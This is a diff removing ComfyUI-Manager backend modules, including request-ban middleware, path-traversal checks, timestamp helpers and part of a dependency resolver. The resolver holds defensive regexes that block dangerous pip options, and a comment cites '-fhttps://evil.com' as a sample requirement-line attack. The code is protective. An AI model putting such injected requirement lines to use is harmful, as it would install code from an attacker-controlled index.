manager_security.is_personal_cloud_mode = core.get_config()['network_mode'].lower() == 'personal_cloud'
|
||||
|
||||
|
||||
def should_be_disabled(fullpath:str) -> bool:
|
||||
"""
|
||||
1. Disables the legacy ComfyUI-Manager.
|
||||
2. The blocklist can be expanded later based on policies.
|
||||
"""
|
||||
if args.enable_manager:
|
||||
# In cases where installation is done via a zip archive, the directory name may not be comfyui-manager, and it may not contain a git repository.
|
||||
# It is assumed that any installed legacy ComfyUI-Manager will have at least 'comfyui-manager' in its directory name.
|
||||
dir_name = os.path.basename(fullpath).lower()
|
||||
if 'comfyui-manager' in dir_name:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def get_client_ip(request):
|
||||
peername = request.transport.get_extra_info("peername")
|
||||
if peername is not None:
|
||||
# Grab the first two values - there can be more, ie. with --listen
|
||||
host, port = peername[:2]
|
||||
return host
|
||||
|
||||
return "unknown"
|
||||
|
||||
|
||||
def create_middleware():
|
||||
connected_clients = set()
|
||||
is_local_mode = manager_security.is_loopback(args.listen)
|
||||
|
||||
@web.middleware
|
||||
async def manager_middleware(request: web.Request, handler):
|
||||
nonlocal connected_clients
|
||||
|
||||
# security policy for remote environments
|
||||
prev_client_count = len(connected_clients)
|
||||
client_ip = get_client_ip(request)
|
||||
connected_clients.add(client_ip)
|
||||
next_client_count = len(connected_clients)
|
||||
|
||||
if prev_client_count == 1 and next_client_count > 1:
|
||||
manager_security.multiple_remote_alert()
|
||||
|
||||
policy = manager_security.get_handler_policy(handler)
|
||||
is_banned = False
|
||||
|
||||
# policy check
|
||||
if len(connected_clients) > 1:
|
||||
if is_local_mode:
|
||||
if HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NON_LOCAL in policy:
|
||||
is_banned = True
|
||||
if HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD in policy:
|
||||
is_banned = not manager_security.is_personal_cloud_mode
|
||||
|
||||
if HANDLER_POLICY.BANNED in policy:
|
||||
is_banned = True
|
||||
|
||||
if is_banned:
|
||||
logging.warning(f"[Manager] Banning request from {client_ip}: {request.path}")
|
||||
response = web.Response(text="[Manager] This request is banned.", status=403)
|
||||
else:
|
||||
response: web.Response = await handler(request)
|
||||
|
||||
return response
|
||||
|
||||
return manager_middleware
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
default::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main
|
||||
recent::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/new
|
||||
legacy::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/legacy
|
||||
forked::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/forked
|
||||
dev::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/dev
|
||||
tutorial::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/tutorial
|
||||
@@ -1,16 +0,0 @@
|
||||
# ComfyUI-Manager: Core Backend (glob)
|
||||
|
||||
This directory contains the Python backend modules that power ComfyUI-Manager, handling the core functionality of node management, downloading, security, and server operations.
|
||||
|
||||
## Core Modules
|
||||
|
||||
- **manager_downloader.py**: Handles downloading operations for models, extensions, and other resources.
|
||||
- **manager_util.py**: Provides utility functions used throughout the system.
|
||||
|
||||
## Specialized Modules
|
||||
|
||||
- **cm_global.py**: Maintains global variables and state management across the system.
|
||||
- **cnr_utils.py**: Helper utilities for interacting with the custom node registry (CNR).
|
||||
- **git_utils.py**: Git-specific utilities for repository operations.
|
||||
- **node_package.py**: Handles the packaging and installation of node extensions.
|
||||
- **security_check.py**: Implements the multi-level security system for installation safety.
|
||||
@@ -1,17 +0,0 @@
|
||||
from .timestamp_utils import (
|
||||
current_timestamp,
|
||||
get_timestamp_for_filename,
|
||||
get_timestamp_for_path,
|
||||
get_backup_branch_name,
|
||||
get_now,
|
||||
get_unix_timestamp,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
'current_timestamp',
|
||||
'get_timestamp_for_filename',
|
||||
'get_timestamp_for_path',
|
||||
'get_backup_branch_name',
|
||||
'get_now',
|
||||
'get_unix_timestamp',
|
||||
]
|
||||
@@ -1,105 +0,0 @@
|
||||
import sys
|
||||
import os
|
||||
import logging
|
||||
from . import manager_util
|
||||
import toml
|
||||
import git
|
||||
|
||||
|
||||
# read env vars
|
||||
comfy_path: str = os.environ.get('COMFYUI_PATH')
|
||||
comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
|
||||
|
||||
if comfy_path is None:
|
||||
try:
|
||||
comfy_path = os.path.abspath(os.path.dirname(sys.modules['__main__'].__file__))
|
||||
os.environ['COMFYUI_PATH'] = comfy_path
|
||||
except Exception:
|
||||
logging.error("[ComfyUI-Manager] environment variable 'COMFYUI_PATH' is not specified.")
|
||||
exit(-1)
|
||||
|
||||
if comfy_base_path is None:
|
||||
comfy_base_path = comfy_path
|
||||
|
||||
channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
|
||||
git_script_path = os.path.join(manager_util.comfyui_manager_path, "common", "git_helper.py")
|
||||
|
||||
manager_files_path = None
|
||||
manager_config_path = None
|
||||
manager_channel_list_path = None
|
||||
manager_startup_script_path:str = None
|
||||
manager_snapshot_path = None
|
||||
manager_pip_overrides_path = None
|
||||
manager_pip_blacklist_path = None
|
||||
manager_batch_history_path = None
|
||||
|
||||
def update_user_directory(manager_dir):
|
||||
global manager_files_path
|
||||
global manager_config_path
|
||||
global manager_channel_list_path
|
||||
global manager_startup_script_path
|
||||
global manager_snapshot_path
|
||||
global manager_pip_overrides_path
|
||||
global manager_pip_blacklist_path
|
||||
global manager_batch_history_path
|
||||
|
||||
manager_files_path = manager_dir
|
||||
if not os.path.exists(manager_files_path):
|
||||
os.makedirs(manager_files_path)
|
||||
|
||||
manager_snapshot_path = os.path.join(manager_files_path, "snapshots")
|
||||
if not os.path.exists(manager_snapshot_path):
|
||||
os.makedirs(manager_snapshot_path)
|
||||
|
||||
manager_startup_script_path = os.path.join(manager_files_path, "startup-scripts")
|
||||
if not os.path.exists(manager_startup_script_path):
|
||||
os.makedirs(manager_startup_script_path)
|
||||
|
||||
manager_config_path = os.path.join(manager_files_path, 'config.ini')
|
||||
manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
|
||||
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
|
||||
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
|
||||
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
|
||||
manager_batch_history_path = os.path.join(manager_files_path, "batch_history")
|
||||
|
||||
if not os.path.exists(manager_util.cache_dir):
|
||||
os.makedirs(manager_util.cache_dir)
|
||||
|
||||
if not os.path.exists(manager_batch_history_path):
|
||||
os.makedirs(manager_batch_history_path)
|
||||
|
||||
try:
|
||||
import folder_paths
|
||||
update_user_directory(folder_paths.get_system_user_directory("manager"))
|
||||
|
||||
except Exception:
|
||||
# fallback:
|
||||
# This case is only possible when running with cm-cli, and in practice, this case is not actually used.
|
||||
update_user_directory(os.path.abspath(manager_util.comfyui_manager_path))
|
||||
|
||||
|
||||
def get_current_comfyui_ver():
|
||||
"""
|
||||
Extract version from pyproject.toml
|
||||
"""
|
||||
toml_path = os.path.join(comfy_path, 'pyproject.toml')
|
||||
if not os.path.exists(toml_path):
|
||||
return None
|
||||
else:
|
||||
try:
|
||||
with open(toml_path, "r", encoding="utf-8") as f:
|
||||
data = toml.load(f)
|
||||
|
||||
project = data.get('project', {})
|
||||
return project.get('version')
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def get_comfyui_tag():
|
||||
try:
|
||||
with git.Repo(comfy_path) as repo:
|
||||
return repo.git.describe('--tags')
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
import enum
|
||||
|
||||
class NetworkMode(enum.Enum):
|
||||
PUBLIC = "public"
|
||||
PRIVATE = "private"
|
||||
OFFLINE = "offline"
|
||||
PERSONAL_CLOUD = "personal_cloud"
|
||||
|
||||
class SecurityLevel(enum.Enum):
|
||||
STRONG = "strong"
|
||||
NORMAL = "normal"
|
||||
NORMAL_MINUS = "normal-minus"
|
||||
WEAK = "weak"
|
||||
|
||||
class DBMode(enum.Enum):
|
||||
LOCAL = "local"
|
||||
CACHE = "cache"
|
||||
REMOTE = "remote"
|
||||
@@ -1,70 +0,0 @@
|
||||
import os
|
||||
from enum import Enum
|
||||
from typing import Optional
|
||||
|
||||
is_personal_cloud_mode = False
|
||||
handler_policy = {}
|
||||
|
||||
class HANDLER_POLICY(Enum):
|
||||
MULTIPLE_REMOTE_BAN_NON_LOCAL = 1
|
||||
MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD = 2
|
||||
BANNED = 3
|
||||
|
||||
|
||||
def is_loopback(address):
|
||||
import ipaddress
|
||||
try:
|
||||
return ipaddress.ip_address(address).is_loopback
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
|
||||
def do_nothing():
|
||||
pass
|
||||
|
||||
|
||||
def get_handler_policy(x):
|
||||
return handler_policy.get(x) or set()
|
||||
|
||||
def add_handler_policy(x, policy):
|
||||
s = handler_policy.get(x)
|
||||
if s is None:
|
||||
s = set()
|
||||
handler_policy[x] = s
|
||||
|
||||
s.add(policy)
|
||||
|
||||
|
||||
multiple_remote_alert = do_nothing
|
||||
|
||||
|
||||
def is_safe_path_target(target: str) -> bool:
|
||||
"""
|
||||
Check if target string is safe from path traversal attacks.
|
||||
|
||||
Args:
|
||||
target: User-provided filename or identifier
|
||||
|
||||
Returns:
|
||||
True if safe, False if contains path traversal characters
|
||||
"""
|
||||
if '/' in target or '\\' in target or '..' in target or '\x00' in target:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def get_safe_file_path(target: str, base_dir: str, extension: str = ".json") -> Optional[str]:
|
||||
"""
|
||||
Safely construct a file path, preventing path traversal attacks.
|
||||
|
||||
Args:
|
||||
target: User-provided filename (without extension)
|
||||
base_dir: Base directory path
|
||||
extension: File extension to append (default: ".json")
|
||||
|
||||
Returns:
|
||||
Safe file path or None if input contains path traversal attempts
|
||||
"""
|
||||
if not is_safe_path_target(target):
|
||||
return None
|
||||
return os.path.join(base_dir, f"{target}{extension}")
|
||||
@@ -1,136 +0,0 @@
|
||||
"""
|
||||
Robust timestamp utilities with datetime fallback.
|
||||
|
||||
Some environments (especially Mac) have issues with the datetime module
|
||||
due to local file name conflicts or Homebrew Python module path issues.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import time as time_module
|
||||
import uuid
|
||||
|
||||
_datetime_available = None
|
||||
_dt_datetime = None
|
||||
|
||||
|
||||
def _init_datetime():
|
||||
"""Initialize datetime availability check (lazy, once)."""
|
||||
global _datetime_available, _dt_datetime
|
||||
if _datetime_available is not None:
|
||||
return
|
||||
|
||||
try:
|
||||
import datetime as dt
|
||||
if hasattr(dt, 'datetime'):
|
||||
from datetime import datetime as dt_datetime
|
||||
_dt_datetime = dt_datetime
|
||||
_datetime_available = True
|
||||
return
|
||||
except Exception as e:
|
||||
logging.debug(f"[ComfyUI-Manager] datetime import failed: {e}")
|
||||
|
||||
_datetime_available = False
|
||||
logging.warning("[ComfyUI-Manager] datetime unavailable, using time module fallback")
|
||||
|
||||
|
||||
def current_timestamp() -> str:
|
||||
"""
|
||||
Get current timestamp for logging.
|
||||
Format: YYYY-MM-DD HH:MM:SS.mmm (or Unix timestamp if fallback)
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
|
||||
return str(time_module.time()).split('.')[0]
|
||||
|
||||
|
||||
def get_timestamp_for_filename() -> str:
|
||||
"""
|
||||
Get timestamp suitable for filenames.
|
||||
Format: YYYYMMDD_HHMMSS
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||
return time_module.strftime('%Y%m%d_%H%M%S')
|
||||
|
||||
|
||||
def get_timestamp_for_path() -> str:
|
||||
"""
|
||||
Get timestamp for path/directory names.
|
||||
Format: YYYY-MM-DD_HH-MM-SS
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().strftime('%Y-%m-%d_%H-%M-%S')
|
||||
return time_module.strftime('%Y-%m-%d_%H-%M-%S')
|
||||
|
||||
|
||||
def get_backup_branch_name(repo=None) -> str:
|
||||
"""
|
||||
Get backup branch name with current timestamp.
|
||||
Format: backup_YYYYMMDD_HHMMSS (or backup_YYYYMMDD_HHMMSS_N if exists)
|
||||
|
||||
Args:
|
||||
repo: Optional git.Repo object. If provided, checks for name collisions
|
||||
and adds sequential suffix if needed.
|
||||
|
||||
Returns:
|
||||
Unique backup branch name.
|
||||
"""
|
||||
base_name = f'backup_{get_timestamp_for_filename()}'
|
||||
|
||||
if repo is None:
|
||||
return base_name
|
||||
|
||||
# Check if branch exists
|
||||
try:
|
||||
existing_branches = {b.name for b in repo.heads}
|
||||
except Exception:
|
||||
return base_name
|
||||
|
||||
if base_name not in existing_branches:
|
||||
return base_name
|
||||
|
||||
# Add sequential suffix
|
||||
for i in range(1, 100):
|
||||
new_name = f'{base_name}_{i}'
|
||||
if new_name not in existing_branches:
|
||||
return new_name
|
||||
|
||||
# Ultimate fallback: use UUID (very unlikely to reach here)
|
||||
return f'{base_name}_{uuid.uuid4().hex[:6]}'
|
||||
|
||||
|
||||
def get_now():
|
||||
"""
|
||||
Get current datetime object.
|
||||
Returns datetime.now() if available, otherwise a FakeDatetime object
|
||||
that supports basic operations (timestamp(), strftime()).
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now()
|
||||
|
||||
# Fallback: return object with basic datetime-like interface
|
||||
t = time_module.localtime()
|
||||
|
||||
class FakeDatetime:
|
||||
def timestamp(self):
|
||||
return time_module.time()
|
||||
|
||||
def strftime(self, fmt):
|
||||
return time_module.strftime(fmt, t)
|
||||
|
||||
def isoformat(self):
|
||||
return time_module.strftime('%Y-%m-%dT%H:%M:%S', t)
|
||||
|
||||
return FakeDatetime()
|
||||
|
||||
|
||||
def get_unix_timestamp() -> float:
|
||||
"""Get current Unix timestamp."""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().timestamp()
|
||||
return time_module.time()
|
||||
@@ -1,724 +0,0 @@
|
||||
"""Unified Dependency Resolver for ComfyUI Manager.
|
||||
|
||||
Resolves and installs all node-pack dependencies at once using ``uv pip compile``
|
||||
followed by ``uv pip install -r``, replacing per-node-pack ``pip install`` calls.
|
||||
|
||||
Responsibility scope
|
||||
--------------------
|
||||
- Dependency collection, resolution, and installation **only**.
|
||||
- ``install.py`` execution and ``PIPFixer`` calls are the caller's responsibility.
|
||||
|
||||
See Also
|
||||
--------
|
||||
- docs/dev/PRD-unified-dependency-resolver.md
|
||||
- docs/dev/DESIGN-unified-dependency-resolver.md
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
from . import manager_util
|
||||
|
||||
logger = logging.getLogger("ComfyUI-Manager")
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Exceptions
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class UvNotAvailableError(RuntimeError):
|
||||
"""Raised when neither ``python -m uv`` nor standalone ``uv`` is found."""
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Data classes
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class PackageRequirement:
|
||||
"""Individual package dependency."""
|
||||
name: str # Normalised package name
|
||||
spec: str # Original spec string (e.g. ``torch>=2.0``)
|
||||
source: str # Absolute path of the source node pack
|
||||
|
||||
|
||||
@dataclass
|
||||
class CollectedDeps:
|
||||
"""Aggregated dependency collection result."""
|
||||
requirements: list[PackageRequirement] = field(default_factory=list)
|
||||
skipped: list[tuple[str, str]] = field(default_factory=list)
|
||||
sources: dict[str, list[tuple[str, str]]] = field(default_factory=dict)
|
||||
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
|
||||
extra_index_urls: list[str] = field(default_factory=list)
|
||||
|
||||
|
||||
@dataclass
|
||||
class LockfileResult:
|
||||
"""Result of ``uv pip compile``."""
|
||||
success: bool
|
||||
lockfile_path: str | None = None
|
||||
conflicts: list[str] = field(default_factory=list)
|
||||
stderr: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class InstallResult:
|
||||
"""Result of ``uv pip install -r`` (atomic: all-or-nothing)."""
|
||||
success: bool
|
||||
installed: list[str] = field(default_factory=list)
|
||||
skipped: list[str] = field(default_factory=list)
|
||||
stderr: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class ResolveResult:
|
||||
"""Full pipeline result."""
|
||||
success: bool
|
||||
collected: CollectedDeps | None = None
|
||||
lockfile: LockfileResult | None = None
|
||||
install: InstallResult | None = None
|
||||
error: str | None = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Resolver
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_TMP_PREFIX = "comfyui_resolver_"
|
||||
|
||||
# Security: reject dangerous requirement patterns at line start.
|
||||
# NOTE: This regex is intentionally kept alongside _INLINE_DANGEROUS_OPTIONS
|
||||
# because it covers ``@ file://`` via ``.*@\s*file://`` which relies on the
|
||||
# ``^`` anchor. Both regexes share responsibility for option rejection:
|
||||
# this one catches line-start patterns; _INLINE_DANGEROUS_OPTIONS catches
|
||||
# options appearing after a package name.
|
||||
_DANGEROUS_PATTERNS = re.compile(
|
||||
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
|
||||
r'|--find-links\b|-f\b|.*@\s*file://)',
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Security: reject dangerous pip options appearing anywhere in the line
|
||||
# (supplements the ^-anchored _DANGEROUS_PATTERNS which only catches line-start).
|
||||
# The ``(?:^|\s)`` prefix prevents false positives on hyphenated package names
|
||||
# (e.g. ``re-crypto``, ``package[extra-c]``) while still catching concatenated
|
||||
# short-flag attacks like ``-fhttps://evil.com``.
|
||||
_INLINE_DANGEROUS_OPTIONS = re.compile(
|
||||
r'(?:^|\s)(--find-links\b|--constraint\b|--requirement\b|--editable\b'
|
||||
r'|--trusted-host\b|--global-option\b|--install-option\b'
|
||||
r'|-f|-r|-e|-c)',
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Credential redaction in index URLs.
|
||||
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
|
||||
|
||||
# Version-spec parsing (same regex as existing ``is_blacklisted()``).
|
||||
_VERSION_SPEC_PATTERN = re.compile(r'([^<>!~=]+)([<>!~=]=?)([^ ]*)')
|
||||
|
||||
|
||||
|
||||
def collect_node_pack_paths(custom_nodes_dirs: list[str]) -> list[str]:
|
||||
"""Collect all installed node-pack directory paths.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
custom_nodes_dirs:
|
||||
Base directories returned by ``folder_paths.get_folder_paths('custom_nodes')``.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list[str]
|
||||
Paths of node-pack directories (immediate subdirectories of each base).
|
||||
"""
|
||||
paths: list[str] = []
|
||||
for base in custom_nodes_dirs:
|
||||
if os.path.isdir(base):
|
||||
for name in os.listdir(base):
|
||||
fullpath = os.path.join(base, name)
|
||||
if os.path.isdir(fullpath):
|
||||
paths.append(fullpath)
|
||||
return paths
|
||||
|
||||
|
||||
def collect_base_requirements(comfy_path: str) -> list[str]:
|
||||
"""Read ComfyUI's own base requirements as constraint lines.
|
||||
|
||||
Reads ``requirements.txt`` and ``manager_requirements.txt`` from *comfy_path*.
|
||||
These are ComfyUI-level dependencies only — never read from node packs.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
comfy_path:
|
||||
Root directory of the ComfyUI installation.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list[str]
|
||||
Non-empty, non-comment requirement lines.
|
||||
"""
|
||||
reqs: list[str] = []
|
||||
for filename in ("requirements.txt", "manager_requirements.txt"):
|
||||
req_path = os.path.join(comfy_path, filename)
|
||||
if os.path.exists(req_path):
|
||||
with open(req_path, encoding="utf-8") as f:
|
||||
reqs.extend(
|
||||
line.strip() for line in f
|
||||
if line.strip() and not line.strip().startswith('#')
|
||||
)
|
||||
return reqs
|
||||
|
||||
|
||||
class UnifiedDepResolver:
|
||||
"""Unified dependency resolver.
|
||||
|
||||
Resolves and installs all dependencies of (installed + new) node packs at
|
||||
once using *uv*.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
node_pack_paths:
|
||||
Absolute paths of node-pack directories to consider.
|
||||
base_requirements:
|
||||
Lines from ComfyUI's own ``requirements.txt`` (used as constraints).
|
||||
blacklist:
|
||||
Package names to skip unconditionally (default: ``cm_global.pip_blacklist``).
|
||||
overrides:
|
||||
Package-name remapping dict (default: ``cm_global.pip_overrides``).
|
||||
downgrade_blacklist:
|
||||
Packages whose installed versions must not be downgraded
|
||||
(default: ``cm_global.pip_downgrade_blacklist``).
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
node_pack_paths: list[str],
|
||||
base_requirements: list[str] | None = None,
|
||||
blacklist: set[str] | None = None,
|
||||
overrides: dict[str, str] | None = None,
|
||||
downgrade_blacklist: list[str] | None = None,
|
||||
) -> None:
|
||||
self.node_pack_paths = node_pack_paths
|
||||
self.base_requirements = base_requirements or []
|
||||
self.blacklist: set[str] = blacklist if blacklist is not None else set()
|
||||
self.overrides: dict[str, str] = overrides if overrides is not None else {}
|
||||
self.downgrade_blacklist: list[str] = (
|
||||
downgrade_blacklist if downgrade_blacklist is not None else []
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def resolve_and_install(self) -> ResolveResult:
|
||||
"""Execute the full pipeline: cleanup → collect → compile → install."""
|
||||
self.cleanup_stale_tmp()
|
||||
|
||||
tmp_dir: str | None = None
|
||||
try:
|
||||
# 1. Collect
|
||||
collected = self.collect_requirements()
|
||||
if not collected.requirements:
|
||||
logger.info("[UnifiedDepResolver] No dependencies to resolve")
|
||||
return ResolveResult(success=True, collected=collected)
|
||||
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] Collected %d deps from %d sources (skipped %d)",
|
||||
len(collected.requirements),
|
||||
len(collected.sources),
|
||||
len(collected.skipped),
|
||||
)
|
||||
|
||||
# 2. Compile
|
||||
lockfile = self.compile_lockfile(collected)
|
||||
if not lockfile.success:
|
||||
return ResolveResult(
|
||||
success=False,
|
||||
collected=collected,
|
||||
lockfile=lockfile,
|
||||
error=f"compile failed: {'; '.join(lockfile.conflicts)}",
|
||||
)
|
||||
# tmp_dir is the parent of lockfile_path
|
||||
tmp_dir = os.path.dirname(lockfile.lockfile_path) # type: ignore[arg-type]
|
||||
|
||||
# 3. Install
|
||||
install = self.install_from_lockfile(lockfile.lockfile_path) # type: ignore[arg-type]
|
||||
return ResolveResult(
|
||||
success=install.success,
|
||||
collected=collected,
|
||||
lockfile=lockfile,
|
||||
install=install,
|
||||
error=install.stderr if not install.success else None,
|
||||
)
|
||||
except UvNotAvailableError:
|
||||
raise
|
||||
except Exception as exc:
|
||||
logger.warning("[UnifiedDepResolver] unexpected error: %s", exc)
|
||||
return ResolveResult(success=False, error=str(exc))
|
||||
finally:
|
||||
if tmp_dir and os.path.isdir(tmp_dir):
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 1: collect
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
"""Collect dependencies from all node packs."""
|
||||
requirements: list[PackageRequirement] = []
|
||||
skipped: list[tuple[str, str]] = []
|
||||
sources: defaultdict[str, list[tuple[str, str]]] = defaultdict(list)
|
||||
extra_index_urls: list[str] = []
|
||||
|
||||
# Snapshot installed packages once to avoid repeated subprocess calls.
|
||||
# Skip when downgrade_blacklist is empty (the common default).
|
||||
installed_snapshot = (
|
||||
manager_util.get_installed_packages()
|
||||
if self.downgrade_blacklist else {}
|
||||
)
|
||||
|
||||
for pack_path in self.node_pack_paths:
|
||||
# Exclude disabled node packs (directory-based mechanism).
|
||||
if self._is_disabled_path(pack_path):
|
||||
continue
|
||||
|
||||
req_file = os.path.join(pack_path, "requirements.txt")
|
||||
if not os.path.exists(req_file):
|
||||
continue
|
||||
|
||||
for raw_line in self._read_requirements(req_file):
|
||||
line = raw_line.split('#')[0].strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# 0. Security: reject dangerous patterns
|
||||
if _DANGEROUS_PATTERNS.match(line):
|
||||
skipped.append((line, f"rejected: dangerous pattern in {pack_path}"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected dangerous line: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# 1. Separate --index-url / --extra-index-url handling
|
||||
# (before path separator check, because URLs contain '/')
|
||||
# URLs are staged but NOT committed until the line passes
|
||||
# all validation (prevents URL injection from rejected lines).
|
||||
pending_urls: list[str] = []
|
||||
if '--index-url' in line or '--extra-index-url' in line:
|
||||
pkg_spec, pending_urls = self._split_index_url(line)
|
||||
line = pkg_spec
|
||||
if not line:
|
||||
# Standalone option line (no package prefix) — safe
|
||||
extra_index_urls.extend(pending_urls)
|
||||
continue
|
||||
|
||||
# 1b. Reject dangerous pip options appearing after package name
|
||||
# (--index-url/--extra-index-url already extracted above)
|
||||
if _INLINE_DANGEROUS_OPTIONS.search(line):
|
||||
skipped.append((line, f"rejected: inline pip option in {pack_path}"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected inline pip option: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# Reject path separators in package name portion
|
||||
pkg_name_part = re.split(r'[><=!~;]', line)[0]
|
||||
if '/' in pkg_name_part or '\\' in pkg_name_part:
|
||||
skipped.append((line, "rejected: path separator in package name"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected path separator: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# 2. Remap package name
|
||||
pkg_spec = self._remap_package(line)
|
||||
|
||||
# 3. Extract normalised name
|
||||
pkg_name = self._extract_package_name(pkg_spec)
|
||||
|
||||
# 4. Blacklist check
|
||||
if pkg_name in self.blacklist:
|
||||
skipped.append((pkg_spec, "blacklisted"))
|
||||
continue
|
||||
|
||||
# 5. Downgrade blacklist check
|
||||
if self._is_downgrade_blacklisted(pkg_name, pkg_spec,
|
||||
installed_snapshot):
|
||||
skipped.append((pkg_spec, "downgrade blacklisted"))
|
||||
continue
|
||||
|
||||
# 6. Collect (no dedup — uv handles resolution)
|
||||
requirements.append(
|
||||
PackageRequirement(name=pkg_name, spec=pkg_spec, source=pack_path)
|
||||
)
|
||||
sources[pkg_name].append((pack_path, pkg_spec))
|
||||
|
||||
# Commit staged index URLs only after all validation passed.
|
||||
if pending_urls:
|
||||
extra_index_urls.extend(pending_urls)
|
||||
|
||||
return CollectedDeps(
|
||||
requirements=requirements,
|
||||
skipped=skipped,
|
||||
sources=dict(sources),
|
||||
extra_index_urls=list(set(extra_index_urls)),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 2: compile
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
|
||||
"""Generate pinned requirements via ``uv pip compile``."""
|
||||
tmp_dir = tempfile.mkdtemp(prefix=_TMP_PREFIX)
|
||||
|
||||
try:
|
||||
# Write temp requirements
|
||||
tmp_req = os.path.join(tmp_dir, "input-requirements.txt")
|
||||
with open(tmp_req, "w", encoding="utf-8") as fh:
|
||||
for req in deps.requirements:
|
||||
fh.write(req.spec + "\n")
|
||||
|
||||
# Write constraints (base dependencies)
|
||||
tmp_constraints: str | None = None
|
||||
if self.base_requirements:
|
||||
tmp_constraints = os.path.join(tmp_dir, "constraints.txt")
|
||||
with open(tmp_constraints, "w", encoding="utf-8") as fh:
|
||||
for line in self.base_requirements:
|
||||
fh.write(line.strip() + "\n")
|
||||
|
||||
lockfile_path = os.path.join(tmp_dir, "resolved-requirements.txt")
|
||||
|
||||
cmd = self._get_uv_cmd() + [
|
||||
"pip", "compile",
|
||||
tmp_req,
|
||||
"--output-file", lockfile_path,
|
||||
"--python", sys.executable,
|
||||
]
|
||||
if tmp_constraints:
|
||||
cmd += ["--constraint", tmp_constraints]
|
||||
|
||||
for url in deps.extra_index_urls:
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] extra-index-url: %s",
|
||||
self._redact_url(url),
|
||||
)
|
||||
cmd += ["--extra-index-url", url]
|
||||
|
||||
logger.info("[UnifiedDepResolver] running: %s", " ".join(
|
||||
self._redact_url(c) for c in cmd
|
||||
))
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=300,
|
||||
)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("[UnifiedDepResolver] uv pip compile timed out (300s)")
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=["compile timeout exceeded (300s)"],
|
